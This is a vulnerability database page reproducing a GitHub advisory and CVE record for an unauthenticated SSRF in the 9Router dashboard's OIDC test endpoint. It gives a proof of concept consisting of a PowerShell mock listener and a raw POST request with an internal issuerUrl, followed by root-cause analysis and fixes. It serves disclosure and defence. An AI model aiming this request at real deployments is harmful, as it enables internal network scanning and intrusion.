Vulnerability-Lookup

GHSA-8G4W-4FFG-8VGX

Vulnerability from github – Published: 2026-08-17 21:58 – Updated: 2026-08-17 21:58

Summary

9Router: Authenticated Server-Side Request Forgery (SSRF) via OIDC Provider Test Endpoint

Details

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in the 9Router dashboard via the /api/auth/oidc/test endpoint. The application accepts a user-controlled URL string through the issuerUrl parameter and performs an outbound HTTP request without validating if the destination IP belongs to a restricted internal network range.

Notably, this endpoint can be accessed without active session authentication (Unauthenticated), allowing any remote actor with network visibility to the dashboard API endpoints to trigger outbound infrastructure connections.

Depending on the state and response of the internal port targeted, this flaw exhibits two distinct behaviors:

Port Scanning / Blind SSRF (Non-OIDC structures): Probing internal ports that are closed or running non-HTTP/non-OIDC services (e.g., SSH, Databases) forces predictable application behavior changes (e.g., structural timeout or clear JSON parsing error messages like "Unexpected token..."), allowing internal network reconnaissance.
Full Data Feed Manipulation (OIDC matching structures): If the targeted internal service responds with a valid OpenID configuration document structure, the backend successfully processes, parses, and reflects the internal properties back to the client, confirming partial data control.

Vulnerable Code Details

Classification: VE-Class 4 — OIDC SSRF via issuerUrl (Unauthenticated)
File Path: src/app/api/auth/oidc/test/route.js
Vulnerable Logic: The endpoint accepts the parameter directly from the client request and passes it directly into the network client routine without prior sanitization or middleware authentication wrapper checks.

// Vulnerable implementation wrapper inside the route handler
const discovery = await fetchOidcDiscovery(issuerUrl);
// Behind the scenes, this executes a direct dynamic outbound request:
// -> fetch(`${issuerUrl}/.well-known/openid-configuration`)

An unauthenticated user can point this at any internal URL to probe internal services that respond with JSON. The discovery JSON fields (token_endpoint, jwks_uri) are then processed by the internal application logic for further operations, enabling a multi-step SSRF chain.

Affected Endpoints

Endpoint: /api/auth/oidc/test
Method: POST
Parameter: issuerUrl
Impacted Feature: OIDC Authentication Configuration Test

Impact

An unauthenticated attacker can abuse this behavior to use the 9Router instance as a proxy to:

Conduct internal network topology discovery and port scanning against the hosting infrastructure (127.0.0.1, 10.0.0.0/8, 192.168.0.0/16).
Expose internal application error states or feed malicious configuration structures back into the dashboard component logic without needing prior valid session tokens.

Proof of Concept & Reproducing Steps

Step 1: Set up the Verification Environment

Utilize a local mock listener on an internal port (e.g., Port 80).

Run the following PowerShell script with Administrative privileges to launch the mock listener:

$port = 80
$listener = New-Object System.Net.HttpListener
$listener.Prefixes.Add("http://127.0.0.1:$port/")

try {
    $listener.Start()
    Write-Host "=======================================================" -ForegroundColor Cyan
    Write-Host "  MOCK OIDC SERVER RUNNING ON PORT 80" -ForegroundColor Green
    Write-Host "=======================================================" -ForegroundColor Cyan

    while ($listener.IsListening) {
        $context = $listener.GetContext()
        $request = $context.Request
        Write-Host "[+] SSRF Request received for URL: $($request.Url)" -ForegroundColor Yellow

        $jsonPayload = '{"issuer":"http://127.0.0.1","authorization_endpoint":"http://127.0.0.1/oauth/auth","token_endpoint":"http://127.0.0.1/oauth/token","userinfo_endpoint":"EVIDENCE_SSRF_CONFIRMED_SUCCESSFULLY","jwks_uri":"http://127.0.0.1/oauth/keys"}'

        $response = $context.Response
        $response.StatusCode = 200
        $response.ContentType = "application/json"

        $buffer = [System.Text.Encoding]::UTF8.GetBytes($jsonPayload)
        $response.ContentLength64 = $buffer.Length
        $response.OutputStream.Write($buffer, 0, $buffer.Length)
        $response.Close()
        Write-Host "[*] JSON payload sent back to 9router" -ForegroundColor Green
    }
} catch {
    Write-Host "Error starting server on port 80" -ForegroundColor Red
} finally {
    if ($listener.IsListening) { $listener.Stop() }
}

Step 2: Triggering the Vulnerability via Burp Suite

Send the following raw HTTP request to the 9Router instance (Notice no Cookie header is required):

POST /api/auth/oidc/test HTTP/1.1
Host: localhost:3000
Content-Type: application/json
Connection: keep-alive
Content-Length: 54

{
  "issuerUrl": "http://127.0.0.1:80",
  "clientId": "probe_only"
}

Step 3: Objective Analysis of Results

Scenario A: Targeting an Unmatched/Plain Text Port (e.g., Port returning raw strings like "check vul")

The server connects to the port, receives a non-JSON response, and errors out during parsing. The application response explicitly leaks the parsing failure:

{"error":"Unexpected token 'c', \"check vul\" is not valid JSON"}

Analysis: This confirms the backend successfully completed an outbound TCP handshake and read the payload from the internal resource, verifying an Error-based/Blind SSRF context without any user credentials.

Scenario B: Targeting the Valid Mock Port (Port 80 with the script active)

The backend connects to the mock listener, successfully fetches the fake configuration data, maps the internal endpoints, and replies with an HTTP 200 OK:

{
  "ok": true,
  "discoveryOk": true,
  "issuerUrl": "http://127.0.0.1:80",
  "authorizationEndpoint": "http://127.0.0.1/oauth/auth",
  "tokenEndpoint": "http://127.0.0.1/oauth/token",
  "jwksUri": "http://127.0.0.1/oauth/keys"
}

Analysis: This confirms a Full Data Feed SSRF. The internal properties parsed directly from the mock script are completely reflected back in the public client response body.

Root Cause Analysis

The application logic handles network requests initiated by user input inside /api/auth/oidc/test without validating the host destination. Additionally, the route handler lacks proper authentication middleware checks to safeguard the functionality, allowing anonymous requests to safely reach internal server loops or private IP subnets.

Suggested Fix

Implement Access Control: Protect the /api/auth/oidc/test handler with authentication middleware to enforce valid user sessions.
Enforce Protocol Controls: Validate that issuerUrl strictly uses the https:// protocol scheme before performing the fetch operation.
Implement Network Blocklists: Resolve the hostname within issuerUrl on the server-side before initiating the connection. Validate the resolved IP address and explicitly drop requests pointing to loopback addresses (127.0.0.0/8, ::1) or internal private addresses (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).

Severity

8.6 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "9router"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-56677"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-17T21:58:43Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in the 9Router dashboard via the `/api/auth/oidc/test` endpoint. The application accepts a user-controlled URL string through the `issuerUrl` parameter and performs an outbound HTTP request without validating if the destination IP belongs to a restricted internal network range.\n\nNotably, this endpoint can be accessed without active session authentication (Unauthenticated), allowing any remote actor with network visibility to the dashboard API endpoints to trigger outbound infrastructure connections.\n\nDepending on the state and response of the internal port targeted, this flaw exhibits two distinct behaviors:\n\n1. **Port Scanning / Blind SSRF (Non-OIDC structures):** Probing internal ports that are closed or running non-HTTP/non-OIDC services (e.g., SSH, Databases) forces predictable application behavior changes (e.g., structural timeout or clear JSON parsing error messages like \"Unexpected token...\"), allowing internal network reconnaissance.\n2. **Full Data Feed Manipulation (OIDC matching structures):** If the targeted internal service responds with a valid OpenID configuration document structure, the backend successfully processes, parses, and reflects the internal properties back to the client, confirming partial data control.\n\n---\n\n### Vulnerable Code Details\n\n- **Classification:** VE-Class 4 \u2014 OIDC SSRF via issuerUrl (Unauthenticated)\n- **File Path:** `src/app/api/auth/oidc/test/route.js`\n- **Vulnerable Logic:** The endpoint accepts the parameter directly from the client request and passes it directly into the network client routine without prior sanitization or middleware authentication wrapper checks.\n\n```javascript\n// Vulnerable implementation wrapper inside the route handler\nconst discovery = await fetchOidcDiscovery(issuerUrl);\n// Behind the scenes, this executes a direct dynamic outbound request:\n// -\u003e fetch(`${issuerUrl}/.well-known/openid-configuration`)\n```\n\nAn unauthenticated user can point this at any internal URL to probe internal services that respond with JSON. The discovery JSON fields (`token_endpoint`, `jwks_uri`) are then processed by the internal application logic for further operations, enabling a multi-step SSRF chain.\n\n---\n\n### Affected Endpoints\n\n- **Endpoint:** `/api/auth/oidc/test`\n- **Method:** `POST`\n- **Parameter:** `issuerUrl`\n- **Impacted Feature:** OIDC Authentication Configuration Test\n\n---\n\n### Impact\n\nAn unauthenticated attacker can abuse this behavior to use the 9Router instance as a proxy to:\n\n- Conduct internal network topology discovery and port scanning against the hosting infrastructure (`127.0.0.1`, `10.0.0.0/8`, `192.168.0.0/16`).\n- Expose internal application error states or feed malicious configuration structures back into the dashboard component logic without needing prior valid session tokens.\n\n---\n\n### Proof of Concept \u0026 Reproducing Steps\n\n#### Step 1: Set up the Verification Environment\n\nUtilize a local mock listener on an internal port (e.g., Port 80).\n\nRun the following PowerShell script with Administrative privileges to launch the mock listener:\n\n```powershell\n$port = 80\n$listener = New-Object System.Net.HttpListener\n$listener.Prefixes.Add(\"http://127.0.0.1:$port/\")\n\ntry {\n    $listener.Start()\n    Write-Host \"=======================================================\" -ForegroundColor Cyan\n    Write-Host \"  MOCK OIDC SERVER RUNNING ON PORT 80\" -ForegroundColor Green\n    Write-Host \"=======================================================\" -ForegroundColor Cyan\n\n    while ($listener.IsListening) {\n        $context = $listener.GetContext()\n        $request = $context.Request\n        Write-Host \"[+] SSRF Request received for URL: $($request.Url)\" -ForegroundColor Yellow\n        \n        $jsonPayload = \u0027{\"issuer\":\"http://127.0.0.1\",\"authorization_endpoint\":\"http://127.0.0.1/oauth/auth\",\"token_endpoint\":\"http://127.0.0.1/oauth/token\",\"userinfo_endpoint\":\"EVIDENCE_SSRF_CONFIRMED_SUCCESSFULLY\",\"jwks_uri\":\"http://127.0.0.1/oauth/keys\"}\u0027\n\n        $response = $context.Response\n        $response.StatusCode = 200\n        $response.ContentType = \"application/json\"\n        \n        $buffer = [System.Text.Encoding]::UTF8.GetBytes($jsonPayload)\n        $response.ContentLength64 = $buffer.Length\n        $response.OutputStream.Write($buffer, 0, $buffer.Length)\n        $response.Close()\n        Write-Host \"[*] JSON payload sent back to 9router\" -ForegroundColor Green\n    }\n} catch {\n    Write-Host \"Error starting server on port 80\" -ForegroundColor Red\n} finally {\n    if ($listener.IsListening) { $listener.Stop() }\n}\n```\n\n#### Step 2: Triggering the Vulnerability via Burp Suite\n\nSend the following raw HTTP request to the 9Router instance (Notice no Cookie header is required):\n\n```http\nPOST /api/auth/oidc/test HTTP/1.1\nHost: localhost:3000\nContent-Type: application/json\nConnection: keep-alive\nContent-Length: 54\n\n{\n  \"issuerUrl\": \"http://127.0.0.1:80\",\n  \"clientId\": \"probe_only\"\n}\n```\n\n#### Step 3: Objective Analysis of Results\n\n**Scenario A: Targeting an Unmatched/Plain Text Port** (e.g., Port returning raw strings like `\"check vul\"`)\n\nThe server connects to the port, receives a non-JSON response, and errors out during parsing. The application response explicitly leaks the parsing failure:\n\n```json\n{\"error\":\"Unexpected token \u0027c\u0027, \\\"check vul\\\" is not valid JSON\"}\n```\n\n\u003e **Analysis:** This confirms the backend successfully completed an outbound TCP handshake and read the payload from the internal resource, verifying an Error-based/Blind SSRF context without any user credentials.\n\n---\n\n**Scenario B: Targeting the Valid Mock Port** (Port 80 with the script active)\n\nThe backend connects to the mock listener, successfully fetches the fake configuration data, maps the internal endpoints, and replies with an HTTP 200 OK:\n\n```json\n{\n  \"ok\": true,\n  \"discoveryOk\": true,\n  \"issuerUrl\": \"http://127.0.0.1:80\",\n  \"authorizationEndpoint\": \"http://127.0.0.1/oauth/auth\",\n  \"tokenEndpoint\": \"http://127.0.0.1/oauth/token\",\n  \"jwksUri\": \"http://127.0.0.1/oauth/keys\"\n}\n```\n\u003cimg width=\"1513\" height=\"651\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6621f418-7a0d-4660-b301-ad37468d8d7a\" /\u003e\n\n\u003e **Analysis:** This confirms a Full Data Feed SSRF. The internal properties parsed directly from the mock script are completely reflected back in the public client response body.\n\n---\n\n### Root Cause Analysis\n\nThe application logic handles network requests initiated by user input inside `/api/auth/oidc/test` without validating the host destination. Additionally, the route handler lacks proper authentication middleware checks to safeguard the functionality, allowing anonymous requests to safely reach internal server loops or private IP subnets.\n\n---\n\n### Suggested Fix\n\n1. **Implement Access Control:** Protect the `/api/auth/oidc/test` handler with authentication middleware to enforce valid user sessions.\n\n2. **Enforce Protocol Controls:** Validate that `issuerUrl` strictly uses the `https://` protocol scheme before performing the fetch operation.\n\n3. **Implement Network Blocklists:** Resolve the hostname within `issuerUrl` on the server-side before initiating the connection. Validate the resolved IP address and explicitly drop requests pointing to loopback addresses (`127.0.0.0/8`, `::1`) or internal private addresses (`10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`).",
  "id": "GHSA-8g4w-4ffg-8vgx",
  "modified": "2026-08-17T21:58:43Z",
  "published": "2026-08-17T21:58:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/security/advisories/GHSA-8g4w-4ffg-8vgx"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/decolua/9router"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "9Router: Authenticated Server-Side Request Forgery (SSRF) via OIDC Provider Test Endpoint"
}

CVE-2026-56677 (GCVE-0-2026-56677)

Vulnerability from cvelistv5 – Published: 2026-08-17 21:14 – Updated: 2026-08-17 21:14

Title

9Router: Authenticated Server-Side Request Forgery (SSRF) via OIDC Provider Test Endpoint

Summary

9Router is an AI router & token saver. In 0.5.4 and earlier, the POST /api/auth/oidc/test endpoint in src/app/api/auth/oidc/test/route.js passes the user-controlled issuerUrl parameter to fetchOidcDiscovery() in src/lib/auth/oidc.js without restricting private or loopback destinations, allowing unauthenticated attackers when dashboard login is disabled to scan internal services and reflect OIDC discovery fields including token_endpoint and jwks_uri.

Severity

8.6 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L

CWE

CWE-306 - Missing Authentication for Critical Function
CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M mitre root

References

1 reference

URL	Tags
https://github.com/decolua/9router/security/advis…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
decolua	9router	Affected: <= 0.5.4

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "9router",
          "vendor": "decolua",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 0.5.4"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "9Router is an AI router \u0026 token saver. In 0.5.4 and earlier, the POST /api/auth/oidc/test endpoint in src/app/api/auth/oidc/test/route.js passes the user-controlled issuerUrl parameter to fetchOidcDiscovery() in src/lib/auth/oidc.js without restricting private or loopback destinations, allowing unauthenticated attackers when dashboard login is disabled to scan internal services and reflect OIDC discovery fields including token_endpoint and jwks_uri."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 8.6,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "LOW",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-306",
              "description": "CWE-306: Missing Authentication for Critical Function",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-918",
              "description": "CWE-918: Server-Side Request Forgery (SSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-17T21:14:06.082Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/decolua/9router/security/advisories/GHSA-8g4w-4ffg-8vgx",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/decolua/9router/security/advisories/GHSA-8g4w-4ffg-8vgx"
        }
      ],
      "source": {
        "advisory": "GHSA-8g4w-4ffg-8vgx",
        "discovery": "UNKNOWN"
      },
      "title": "9Router: Authenticated Server-Side Request Forgery (SSRF) via OIDC Provider Test Endpoint"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-56677",
    "datePublished": "2026-08-17T21:14:06.082Z",
    "dateReserved": "2026-06-22T16:39:01.044Z",
    "dateUpdated": "2026-08-17T21:14:06.082Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

GHSA-8G4W-4FFG-8VGX

Summary

Vulnerable Code Details

Affected Endpoints

Impact

Proof of Concept & Reproducing Steps

Step 1: Set up the Verification Environment

Step 2: Triggering the Vulnerability via Burp Suite

Step 3: Objective Analysis of Results

Root Cause Analysis

Suggested Fix

CVE-2026-56677 (GCVE-0-2026-56677)

Tags

Sightings

Nomenclature